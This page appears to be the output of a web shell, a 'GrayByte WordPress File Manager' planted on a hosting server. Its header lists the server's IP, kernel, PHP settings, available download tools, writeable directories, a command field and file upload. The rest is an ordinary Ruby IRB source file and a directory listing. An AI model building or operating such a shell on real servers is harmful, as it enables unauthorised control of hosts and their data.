GRAYBYTE WORDPRESS FILE MANAGER9375

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/ruby26/lib64/ruby/2.6.0/irb/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/ruby26/lib64/ruby/2.6.0/irb//magic-file.rb
# frozen_string_literal: false
module IRB
  class << (MagicFile = Object.new)
    # see parser_magic_comment in parse.y
    ENCODING_SPEC_RE = %r"coding\s*[=:]\s*([[:alnum:]\-_]+)"

    def open(path)
      io = File.open(path, 'rb')
      line = io.gets
      line = io.gets if line[0,2] == "#!"
      encoding = detect_encoding(line)
      internal_encoding = encoding
      encoding ||= IRB.default_src_encoding
      io.rewind
      io.set_encoding(encoding, internal_encoding)

      if block_given?
        begin
          return (yield io)
        ensure
          io.close
        end
      else
        return io
      end
    end

    private
    def detect_encoding(line)
      return unless line[0] == ?#
      line = line[1..-1]
      line = $1 if line[/-\*-\s*(.*?)\s*-*-$/]
      return nil unless ENCODING_SPEC_RE =~ line
      encoding = $1
      return encoding.sub(/-(?:mac|dos|unix)/i, '')
    end
  end
end

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 03 2024 22:47:39
root / root
0755
cmd
--
March 03 2024 22:47:32
root / linksafe
0755
ext
--
March 03 2024 22:47:32
root / linksafe
0755
lc
--
March 03 2024 22:47:32
root / linksafe
0755
completion.rb
7.017 KB
April 12 2022 11:50:11
root / linksafe
0644
context.rb
12.552 KB
April 12 2022 11:50:11
root / linksafe
0644
extend-command.rb
9.617 KB
April 12 2022 11:50:11
root / linksafe
0644
frame.rb
1.915 KB
April 12 2022 11:50:11
root / linksafe
0644
help.rb
0.693 KB
April 12 2022 11:50:11
root / linksafe
0644
init.rb
7.59 KB
April 12 2022 11:50:11
root / linksafe
0644
input-method.rb
4.644 KB
April 12 2022 11:50:11
root / linksafe
0644
inspector.rb
3.607 KB
April 12 2022 11:50:11
root / linksafe
0644
locale.rb
4.636 KB
April 12 2022 11:50:11
root / linksafe
0644
magic-file.rb
0.906 KB
April 12 2022 11:50:11
root / linksafe
0644
notifier.rb
7.188 KB
April 12 2022 11:50:11
root / linksafe
0644
output-method.rb
2.444 KB
April 12 2022 11:50:11
root / linksafe
0644
ruby-lex.rb
24.215 KB
April 12 2022 11:50:11
root / linksafe
0644
ruby-token.rb
7.37 KB
April 12 2022 11:50:11
root / linksafe
0644
slex.rb
6.834 KB
April 12 2022 11:50:11
root / linksafe
0644
src_encoding.rb
0.144 KB
April 12 2022 11:50:11
root / linksafe
0644
version.rb
0.297 KB
April 12 2022 11:50:11
root / linksafe
0644
workspace.rb
4.068 KB
April 12 2022 11:50:11
root / linksafe
0644
ws-for-case-2.rb
0.221 KB
April 12 2022 11:50:11
root / linksafe
0644
xmp.rb
4.021 KB
April 12 2022 11:50:11
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF